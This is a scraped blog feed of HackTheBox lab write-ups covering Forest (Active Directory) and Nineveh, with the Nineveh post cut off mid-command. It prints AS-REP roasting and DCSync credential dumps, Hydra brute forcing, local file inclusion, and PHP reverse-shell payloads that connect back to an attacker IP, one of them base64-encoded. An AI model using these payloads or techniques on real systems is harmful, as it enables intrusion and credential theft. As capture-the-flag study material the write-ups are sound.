src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div></p> <h2 id="conclusion">Conclusion</h2> <p>This box felt a lot more difficult than medium to me. In fact, this isn't even my first draft. I first attempted this box a week ago and had 300 lines of notes/output and never made it out of the credentials we were given.</p> <p>This one took several hours to get on the box for the user flag. It required compromising multiple accounts. It required chaining a relatively recent vulnerability, a custom shell, and a novel tool to extract hashes to priv-esc. </p> <p>I learned a lot more about Active Directory, and some new tools. Unfortunately, I got the admin flag a few hours after the window closed, so missed the season points, but still got some great experience.</p> <p><a href="https://labs.hackthebox.com/achievement/machine/677503/909">#Pwned</a></p>2026-06-18T20:33:00-04:002026-06-19T03:53:18.146101-04:00Eric Turnertag:blog.ericturner.it,2026-06-18:/2026/06/18/hackthebox-forest/

<h2 id="machine-info">Machine Info</h2> <ul> <li>IP: 10.129.95.210</li> <li>Status: Retired</li> <li>Link: <a href="https://app.hackthebox.com/machines/Forest">https://app.hackthebox.com/machines/Forest</a></li> </ul> <h2 id="recon">Recon</h2> <pre><code class="language-shell">$ nmap -sSV -p- -oA 1_init_nmap 10.129.95.210 Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-18 20:42 EDT Nmap scan report for 10.129.95.210 Host is up (0 …</code></pre>

<h2 id="machine-info">Machine Info</h2> <ul> <li>IP: 10.129.95.210</li> <li>Status: Retired</li> <li>Link: <a href="https://app.hackthebox.com/machines/Forest">https://app.hackthebox.com/machines/Forest</a></li> </ul> <h2 id="recon">Recon</h2> <pre><code class="language-shell">$ nmap -sSV -p- -oA 1_init_nmap 10.129.95.210 Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-18 20:42 EDT Nmap scan report for 10.129.95.210 Host is up (0.057s latency). Not shown: 65511 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-19 00:49:04Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC 49680/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49681/tcp open msrpc Microsoft Windows RPC 49685/tcp open msrpc Microsoft Windows RPC 49700/tcp open msrpc Microsoft Windows RPC 55838/tcp open msrpc Microsoft Windows RPC Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 78.50 seconds </code></pre> <p>Our initial nmap scan reveals this is definitely a windows domain controller. Added <code>htb.local</code> and <code>forest.htb.local</code> into the <code>/etc/hosts</code>.</p> <h3 id="smb">smb</h3> <p><code>smbclient -N -L \\\\htb.local</code> allows anonymous login but doesn't return any shares.</p> <pre><code class="language-shell">$ nxc smb htb.local --disks SMB 10.129.95.210 445 FOREST [*] Windows 10 / Server 2016 Build 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) $ nxc smb 10.129.95.210 -u '' -p '' -d HTB.LOCAL --pass-pol; SMB 10.129.95.210 445 FOREST [*] Windows 10 / Server 2016 Build 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) SMB 10.129.95.210 445 FOREST [+] HTB.LOCAL\: SMB 10.129.95.210 445 FOREST [+] Dumping password info for domain: HTB SMB 10.129.95.210 445 FOREST Minimum password length: 7 SMB 10.129.95.210 445 FOREST Password history length: 24 SMB 10.129.95.210 445 FOREST Maximum password age: Not Set SMB 10.129.95.210 445 FOREST SMB 10.129.95.210 445 FOREST Password Complexity Flags: 000000 SMB 10.129.95.210 445 FOREST Domain Refuse Password Change: 0 SMB 10.129.95.210 445 FOREST Domain Password Store Cleartext: 0 SMB 10.129.95.210 445 FOREST Domain Password Lockout Admins: 0 SMB 10.129.95.210 445 FOREST Domain Password No Clear Change: 0 SMB 10.129.95.210 445 FOREST Domain Password No Anon Change: 0 SMB 10.129.95.210 445 FOREST Domain Password Complex: 0 SMB 10.129.95.210 445 FOREST SMB 10.129.95.210 445 FOREST Minimum password age: 1 day 4 minutes SMB 10.129.95.210 445 FOREST Reset Account Lockout Counter: 30 minutes SMB 10.129.95.210 445 FOREST Locked Account Duration: 30 minutes SMB 10.129.95.210 445 FOREST Account Lockout Threshold: None SMB 10.129.95.210 445 FOREST Forced Log off Time: Not Set </code></pre> <p>This returns the name, domain and server build. We also see there is no account lockout threshold.</p> <h3 id="ldap">ldap</h3> <p>LDAP also allows anonymous login.</p> <pre><code class="language-shell">$ nxc ldap forest.htb.local --dns-server 10.129.95.210 -d HTB.LOCAL -u '' -p '' --users LDAP 10.129.95.210 389 FOREST [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local) LDAP 10.129.95.210 389 FOREST [+] HTB.LOCAL\: LDAP 10.129.95.210 389 FOREST [*] Enumerated 31 domain users: HTB.LOCAL LDAP 10.129.95.210 389 FOREST -Username- -Last PW Set- -BadPW- -Description- LDAP 10.129.95.210 389 FOREST Administrator 2021-08-30 20:51:58 0 Built-in account for administering the computer/domain LDAP 10.129.95.210 389 FOREST Guest &lt;never&gt; 0 Built-in account for guest access to the computer/domain LDAP 10.129.95.210 389 FOREST DefaultAccount &lt;never&gt; 0 A user account managed by the system. LDAP 10.129.95.210 389 FOREST krbtgt 2019-09-18 06:53:23 0 Key Distribution Center Service Account LDAP 10.129.95.210 389 FOREST $331000-VK4ADACQNUCA &lt;never&gt; 0 LDAP 10.129.95.210 389 FOREST SM_2c8eef0a09b545acb &lt;never&gt; 0 LDAP 10.129.95.210 389 FOREST SM_ca8c2ed5bdab4dc9b &lt;never&gt; 0 LDAP 10.129.95.210 389 FOREST SM_75a538d3025e4db9a &lt;never&gt; 0 LDAP 10.129.95.210 389 FOREST SM_681f53d4942840e18 &lt;never&gt; 0 LDAP 10.129.95.210 389 FOREST SM_1b41c9286325456bb &lt;never&gt; 0 LDAP 10.129.95.210 389 FOREST SM_9b69f1b9d2cc45549 &lt;never&gt; 0 LDAP 10.129.95.210 389 FOREST SM_7c96b981967141ebb &lt;never&gt; 0 LDAP 10.129.95.210 389 FOREST SM_c75ee099d0a64c91b &lt;never&gt; 0 LDAP 10.129.95.210 389 FOREST SM_1ffab36a2f5f479cb &lt;never&gt; 0 LDAP 10.129.95.210 389 FOREST HealthMailboxc3d7722 2019-09-23 18:51:31 0 LDAP 10.129.95.210 389 FOREST HealthMailboxfc9daad 2019-09-23 18:51:35 0 LDAP 10.129.95.210 389 FOREST HealthMailboxc0a90c9 2019-09-19 07:56:35 0 LDAP 10.129.95.210 389 FOREST HealthMailbox670628e 2019-09-19 07:56:45 0 LDAP 10.129.95.210 389 FOREST HealthMailbox968e74d 2019-09-19 07:56:56 0 LDAP 10.129.95.210 389 FOREST HealthMailbox6ded678 2019-09-19 07:57:06 0 LDAP 10.129.95.210 389 FOREST HealthMailbox83d6781 2019-09-19 07:57:17 0 LDAP 10.129.95.210 389 FOREST HealthMailboxfd87238 2019-09-19 07:57:27 0 LDAP 10.129.95.210 389 FOREST HealthMailboxb01ac64 2019-09-19 07:57:37 0 LDAP 10.129.95.210 389 FOREST HealthMailbox7108a4e 2019-09-19 07:57:48 0 LDAP 10.129.95.210 389 FOREST HealthMailbox0659cc1 2019-09-19 07:57:58 0 LDAP 10.129.95.210 389 FOREST sebastien 2019-09-19 20:29:59 0 LDAP 10.129.95.210 389 FOREST lucinda 2019-09-19 20:44:13 0 LDAP 10.129.95.210 389 FOREST svc-alfresco 2026-06-18 21:05:00 0 LDAP 10.129.95.210 389 FOREST andy 2019-09-22 18:44:16 0 LDAP 10.129.95.210 389 FOREST mark 2019-09-20 18:57:30 0 LDAP 10.129.95.210 389 FOREST santi 2019-09-20 19:02:55 0 </code></pre> <p>Some additional commands ran with <code>nxc ldap</code></p> <ul> <li><code>--password-not-required</code> returned 3 disabled accounts.</li> <li><code>--groups</code> Group Membership<ul> <li>Administrators / Domain Admins / GPO Owners: Administrator</li> <li>Remote Mgmt Users / Privileged IT Accounts / Service Accounts: svc-alfresco</li> <li>Exchange Servers: EXCH01</li> <li>test: no members, but interesting</li> </ul> </li> </ul> <p>There's a mention of another exchange server, but I cannot seem to find it with <code>dig</code> or <code>nslookup</code>. I set EXCH01 to the same IP in /etc/hosts for now.</p> <p>A final test is for ASREProasting and KERBEroasting.</p> <pre><code class="language-shell">$ nxc ldap forest.htb.local --dns-server 10.129.95.210 -d HTB.LOCAL -u svc-alfresco -p '' --asreproast ASREPROAST.txt LDAP 10.129.95.210 389 FOREST [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local) LDAP 10.129.95.210 389 FOREST $krb5asrep$23$svc-alfresco@HTB.LOCAL:664e77945c393d782f226b3383a42f05$18394d700febb061b4edf997cd12b661366893e0ce5dc8eec289b722abbe0152d831ea680070a9e30014802505522e25ba17138ceea638899e32f9a2fec4efba0234addf2edaac3f6e3f846ba753e55d02a8b51e0bca513f1a35b606136c2e8a4c78ac835ad40b41cdba535bf92c4b07affd5e9e6282997f39d070f32a25f6b284e449a4a88820540cfb0a49e7b1e8e63b36e71187f453d861fd86ca0ed120f38831bf494b6a2266988dc354ed13796217b4600a0c5cb79d111c8c9ae7894985fe7fa9f0654a0207408cbe416db2d65f205b28ff41c7c8a7447b62bcbd571cee0c877d4bbd6b . $ nxc ldap forest.htb.local --dns-server 10.129.95.210 -d HTB.LOCAL -u svc-alfresco -p '' --kerberoast kerberoast.txt LDAP 10.129.95.210 389 FOREST [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local) LDAP 10.129.95.210 389 FOREST [-] HTB.LOCAL\svc-alfresco: </code></pre> <h3 id="svc-alfresco">svc-alfresco</h3> <p>A value returned on the asreproast means we can attempt to crack it.</p> <pre><code class="language-shell">$ hashcat -m18200 ASREPROAST.txt /usr/share/wordlists/rockyou.txt ... $krb5asrep$23$svc-alfresco@HTB.LOCAL:664e77945c393d782f226b3383a42f05$18394d700febb061b4edf997cd12b661366893e0ce5dc8eec289b722abbe0152d831ea680070a9e30014802505522e25ba17138ceea638899e32f9a2fec4efba0234addf2edaac3f6e3f846ba753e55d02a8b51e0bca513f1a35b606136c2e8a4c78ac835ad40b41cdba535bf92c4b07affd5e9e6282997f39d070f32a25f6b284e449a4a88820540cfb0a49e7b1e8e63b36e71187f453d861fd86ca0ed120f38831bf494b6a2266988dc354ed13796217b4600a0c5cb79d111c8c9ae7894985fe7fa9f0654a0207408cbe416db2d65f205b28ff41c7c8a7447b62bcbd571cee0c877d4bbd6b:s3rvice </code></pre> <h2 id="initial-access_1">Initial Access</h2> <p>With the username and password available, we can use evil-winrm to gain access:</p> <pre><code class="language-shell">$ evil-winrm -i 10.129.95.210 -u 'svc-alfresco' -p s3rvice </code></pre> <p><code>user.txt</code> is found under <code>\svc-alfresco\Desktop\user.txt</code>.</p> <h2 id="post-exploitation">Post-Exploitation</h2> <p>Let's see what other options svc-alfresco can do as it's a member of a Privileged Group.</p> <pre><code class="language-shell">$ nxc ldap forest.htb.local --dns-server 10.129.95.210 -d HTB.LOCAL -u 'svc-alfresco' -p 's3rvice' --bloodhound -c all </code></pre> <p>It shows our great-grandparent group, Account Operators, has Generic All over Exchange Windows Permissions. This group has WriteDacl over the root HTB.LOCAL, which then allows us to make changes to the Domain Admins group.</p> <h2 id="privilege-escalation">Privilege Escalation</h2> <pre><code class="language-shell">$ bloodyAD -u 'svc-alfresco' -p 's3rvice' -d htb.local --host 10.129.95.210 add groupMember "Exchange Windows Permissions" 'svc-alfresco' [+] svc-alfresco added to Exchange Windows Permissions $ bloodyAD -u 'svc-alfresco' -p 's3rvice' -d htb.local --host 10.129.95.210 add dcsync svc-alfresco [+] svc-alfresco is now able to DCSync $ impacket-secretsdump -outputfile dcsync -dc-ip 10.129.95.210 HTB/svc-alfresco:s3rvice@HTB.LOCAL Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6::: ... $ evil-winrm -i 10.129.95.210 -u Administrator -H "32693b11e6aa90eb43d32c72a07ceea6" </code></pre> <p>This sequence of commands follows the identified path in Bloodhound. I noticed we only had a small window after adding ourselves to the group before it seemed to drop back off. Quickly, running the first two AD commands back to back puts ourselves in dcsync mode, which allows us to dump the secrets of all accounts on the domain. With the NTHASH, we are able to pass the hash via winrm to login. The flag is found on the Administrator's desktop.</p> <h2 id="conclusion">Conclusion</h2> <p>A nice introductory active directory box. Active Directory is still a weak point for me, so I need more practice on how to filter out noise and identify what certain paths like GenericAll and WriteDacl mean.</p> <p>It's also a novel way of exploitation for me. Traditionally, when I gain initial access, I am expecting there to be some sort of vulnerable application to exploit for priv-esc. Active Directory has traditionally not been a focus for me, but there is a plethora of information that can be gathered from AD that can help with lateral movement or privilege escalation.</p>2026-06-16T21:10:00-04:002026-06-18T11:26:55.086830-04:00Eric Turnertag:blog.ericturner.it,2026-06-16:/2026/06/16/hackthebox-nineveh/

<h2 id="machine-info">Machine Info</h2> <ul> <li>IP: 10.129.15.97</li> <li>Status: Retired</li> <li>Link: <a href="https://app.hackthebox.com/machines/Nineveh">https://app.hackthebox.com/machines/Nineveh</a></li> </ul> <h2 id="recon">Recon</h2> <pre><code class="language-shell">$ nmap -sSV -p- -oA 1_init_nmap 10.129.15.97 Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-16 21:14 EDT Nmap scan report for 10.129.15.97 Host is up (0 …</code></pre>

<h2 id="machine-info">Machine Info</h2> <ul> <li>IP: 10.129.15.97</li> <li>Status: Retired</li> <li>Link: <a href="https://app.hackthebox.com/machines/Nineveh">https://app.hackthebox.com/machines/Nineveh</a></li> </ul> <h2 id="recon">Recon</h2> <pre><code class="language-shell">$ nmap -sSV -p- -oA 1_init_nmap 10.129.15.97 Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-16 21:14 EDT Nmap scan report for 10.129.15.97 Host is up (0.039s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu)) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 119.91 seconds </code></pre> <h3 id="443-https">443 https</h3> <p>Navigating to this site reveals a self-signed cert error for <code>nineveh.htb</code>, which I added to <code>/etc/hosts</code>. Only a singular <code>ninevehForAll.png</code> photo exists here. I downloaded the photo and ran <code>strings ninevehForAll.png</code> and saw nothing interesting. No interesting information with <code>exiftool</code> either.</p> <p>There are no interesting request/response headers for this site.</p> <p>Using gobuster, we identify a new path <code>/db</code>:</p> <pre><code class="language-shell">$ gobuster dir -u https://nineveh.htb -k -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -o 2_gobuster_dirs_https.txt =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://nineveh.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.htaccess (Status: 403) [Size: 296] /.htpasswd (Status: 403) [Size: 296] /db (Status: 301) [Size: 309] [--&gt; https://nineveh.htb/db/] /server-status (Status: 403) [Size: 300] Progress: 20481 / 20481 (100.00%) =============================================================== Finished =============================================================== </code></pre> <p><code>searchsploit</code> reveals remote PHP code injection for 1.9.3 and multiple vulns for 1.9.6. This page only requests a password with no username. A google search shows the default password is <code>admin</code>, but this does not work. phpLiteAdmin appears to be a wrapper around a sqlite db, which means the file should be in a folder somewhere here.</p> <p>I saw <code>CVE-2018-10362</code> which allows for a number password to bypass auth. I tried a few variations of <code>0</code> but it failed. Using Hydra did return promising results.</p> <pre><code class="language-shell">$ hydra -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt -l user -v "https-post-form://nineveh.htb/db/index.php:password=^PASS^&amp;remember=yes&amp;login=Log+In&amp;proc_login=true":incorrect Hydra v9.6 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-06-17 18:10:01 [DATA] max 16 tasks per 1 server, overall 16 tasks, 9437 login tries (l:1/p:9437), ~590 tries per task [DATA] attacking http-post-forms://nineveh.htb:443/db/index.php:password=^PASS^&amp;remember=yes&amp;login=Log+In&amp;proc_login=true:incorrect [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [443][http-post-form] host: nineveh.htb login: user password: password123 [STATUS] attack finished for nineveh.htb (waiting for children to complete tests) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-17 18:11:10 </code></pre> <p>With access granted, we are dropped in to an admin panel for the <strong>test</strong> database. It shows this database has no tables in it.</p> <pre><code class="language-md">Database name: test Path to database: /var/tmp/test Size of database: 1 KB Database last modified: 7:52pm on July 2, 2017 SQLite version: 3.11.0 SQLite extension [?]: PDO PHP version: 7.0.18-0ubuntu0.16.04.1 </code></pre> <p>Back to the searchsploit 24044. When creating a new database, we are able to specify the file extension and create a .php file, insert php code into the text field, then visit it in the web.</p> <p>I imagine that we need to know the location this web server is serving out of so we can navigate to that page. The current db shows <code>/var/tmp/test</code>, which is likely not the same as either site.</p> <p>I renamed the database to <code>test.php</code>, created a table <code>test</code> and and set a default value of <code>&lt;?php echo __DIR__;?&gt;</code> to the field.</p> <p>I tried using <code>https://nineveh.htb/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar/tmp/test.php</code> but it shows not found.</p> <h3 id="80-http">80 http</h3> <p>Only a basic page returns:</p> <pre><code class="language-markdown"># It works! This is the default web page for this server. The web server software is running but no content has been added, yet. </code></pre> <p>There are no interesting request/response headers for this site.</p> <p>gobuster also reveals a <code>/department</code> page.</p> <pre><code class="language-shell">$ gobuster dir -u http://nineveh.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -o 4_gobuster_dirs_http.txt =============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://nineveh.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.htpasswd (Status: 403) [Size: 295] /.htaccess (Status: 403) [Size: 295] /department (Status: 301) [Size: 315] [--&gt; http://nineveh.htb/department/] /server-status (Status: 403) [Size: 299] Progress: 20481 / 20481 (100.00%) =============================================================== Finished </code></pre> <p>This page has a login, and a comment, <code>&lt;!-- @admin! MySQL is been installed.. please fix the login page! ~amrois --&gt;</code> I tested <code>admin:admin</code>, which returns <code>Invalid Password!</code>. Interestingly, <code>amrois:amrois</code> returns <code>invalid username</code>. It is likely possible to brute force this as it has differing messages for username / password.</p> <pre><code class="language-shell">$ hydra -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt -l admin -v "http-post-form://nineveh.htb/department/login.php:user=^USER^&amp;password=^PASS^":invalid Hydra v9.6 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). [80][http-post-form] host: nineveh.htb login: admin password: 1q2w3e4r5t [STATUS] attack finished for nineveh.htb (waiting for children to complete tests) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-17 18:36:05 </code></pre> <p>After logging in here, we see a Notes tab which appears to load files directly from the file system. <code>http://nineveh.htb/department/manage.php?notes=files/ninevehNotes.txt</code> There are no network requests for grabbing the file, so it must be happening directly in the PHP. This could be via <code>eval()</code>, <code>include</code> or <code>file()</code></p> <p>By adding a simple test into the URL, <code>?notes=__DIR__files/ninevehNotes.txt</code>, some errors appear in the console:</p> <pre><code class="language-php"> Warning: include(__DIR__files/ninevehNotes.txt): failed to open stream: No such file or directory in /var/www/html/department/manage.php on line 31 Warning: include(): Failed opening '__DIR__files/ninevehNotes.txt' for inclusion (include_path='.:/usr/share/php') in /var/www/html/department/manage.php on line 31 </code></pre> <h2 id="exploitation_1">Exploitation</h2> <p>The recon from both sites tells us that the HTTP site is using <code>include()</code> a file.</p> <p>I confirmed if we go to <code>http://nineveh.htb/department/files/ninevehNotes.txt</code>, we see the HTML code here that is being populated on the page.</p> <h3 id="rev-shell-attempt-1">Rev Shell Attempt 1</h3> <p>The solution here appears to chain creating a poisoned file from phpLiteAdmin, and accessing it from the http manage.php. I attempted to create the file outside /var/tmp but it throws: <code>Warning: copy(/var/www/html/department/test.php): failed to open stream: Permission denied in /var/www/ssl/db/index.php on line 1259</code></p> <ol> <li>Rename database to /var/tmp/exp.php</li> <li>Create table test, number of fields 1</li> <li>new text field <code>test</code> with a default value of <code>&lt;?php $sock=fsockopen("10.10.10.2",4443);exec("sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3"); ?&gt;</code></li> <li>create a single record</li> </ol> <p>To grab it from our base /var/www/html/department, we need to go up three levels <code>../../../</code> then down into <code>/tmp/exp.php</code>. Unfortunately it doesn't seem to be grabbing and still shows No note selected. I attempted a fuzz, but still doesn't work.</p> <pre><code class="language-shell">$ gobuster fuzz -u http://nineveh.htb/department/manage.php?notes=files/FUZZ -c "PHPSESSID=tigdi51ib0jj3u07h4710k8av5" -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt --exclude-length 1031,1032 </code></pre> <p>I decided to do some more manual fuzzing to figure out why one provided an error, but others provided No Note Selected.</p> <table> <thead> <tr> <th>Path</th> <th>Result</th> </tr> </thead> <tbody> <tr> <td>?notes=files/ninevehNotes.txt</td> <td>✅ loads the file</td> </tr> <tr> <td>?notes=files/ninevehNotes</td> <td>⚠️ throws the include() error that file doesn't exist</td> </tr> <tr> <td>?notes=test/ninevehNotes</td> <td>⚠️ throws the include() error that file doesn't exist</td> </tr> <tr> <td>?notes=secret/ninevehNotes</td> <td>⚠️ throws the include() error that file doesn't exist</td> </tr> <tr> <td>?notes=/ninevehNotes</td> <td>⚠️ throws the include() error that file doesn't exist</td> </tr> <tr> <td>?notes=files/ninevehNote</td> <td>❌ No Note is selected</td> </tr> <tr> <td>?notes=ninevehNotes</td> <td>❌ No Note is selected</td> </tr> </tbody> </table> <p>So it appears it's required that <code>/ninevehNotes</code> appears in the string for it to load the file, else it falls back to <code>No Note is selected</code>. By using a comment block <code>/*files/ninevehNotes.txt*/../../../../../etc/passwd</code>, we see an output of <code>/etc/passwd</code>!</p> <pre><code class="language-shell">root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false messagebus:x:108:112::/var/run/dbus:/bin/false uuidd:x:109:113::/run/uuidd:/bin/false dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false amrois:x:1000:1000:,,,:/home/amrois:/bin/bash sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin </code></pre> <p>Using <code>?notes=/*files/ninevehNotes.txt*/../../../../../var/tmp/exp.php</code> returns a File name too long. error. <code>?notes=/*/ninevehNotes.txt*/../../../../../var/tmp/exp.php</code> works, but it shows a connection refused message. Back to the phpLiteAdmin to tweak our payload. After several different formats, I found the best was this: <code>&lt;?php shell_exec("echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjEwLjIvNDQ0MyAwPiYx | base64 -d | bash");?&gt;</code></p> <p>This uses the <code>bash -i</code> from revshells.com, in base64 encoding. I used this method because several other shells used single quotes inside of double quotes, which phpLiteAdmin would replace and it broke the script.</p> <p>The listener finally pops as <code>www-data@nineveh:/var/www/html/department</code>.</p> <h2 id="post-exploitation-www-data_1">Post-Exploitation www-data</h2> <p>Just for funsies, lets look at the code for <code>manage.php</code> to confirm what was going on.</p> <pre><code class="language-php">$file = @$_GET['notes']; if(strlen($file) &gt; 55) exit("File name too long."); $fileName = basename($file); if(!strpos($file, "ninevehNotes")) exit("No Note is selected."); echo "&lt;pre&gt;"; include($file); echo "&lt;/pre&gt;"; </code></pre> <p>Confirmed that ninevehNotes is required for the include to work. Searching around, I found <code>/var/www/ssl/secure_notes</code> includes a <code>nineveh.png</code>. Using steganography, a private ssh key file is seen at the bottom for amrois@nineveh.htb. I copied this into a separate file for use later.</p> <h3 id="privilege-escalation">Privilege Escalation</h3> <p>I cannot seem to connect to port 22 on this box from my attack box, which is odd as <code>ss -tulnp</code> shows *:22 is listening.</p> <p>I popped into an interactive shell using my method <a href="https://hackbook.ericturner.it/post_exploitation/#simple-shell-to-interactive">here</a>. I attempted a reverse tunnel <code>ssh -fN -R 2222:localhost:22 kali@10.10.10.2</code> but it just hangs. I see we can connect to <code>ssh localhost</code> but it fails, looking for a publickey.</p> <p>I figured my next best shot was to somehow get that key onto the box, or use base64. Luckily, I found a method using <code>ssh-agent</code> to load a private key into memory:</p> <pre><code class="language-shell">www-data@nineveh:~$ eval $(ssh-agent -s) www-data@nineveh:~$ echo 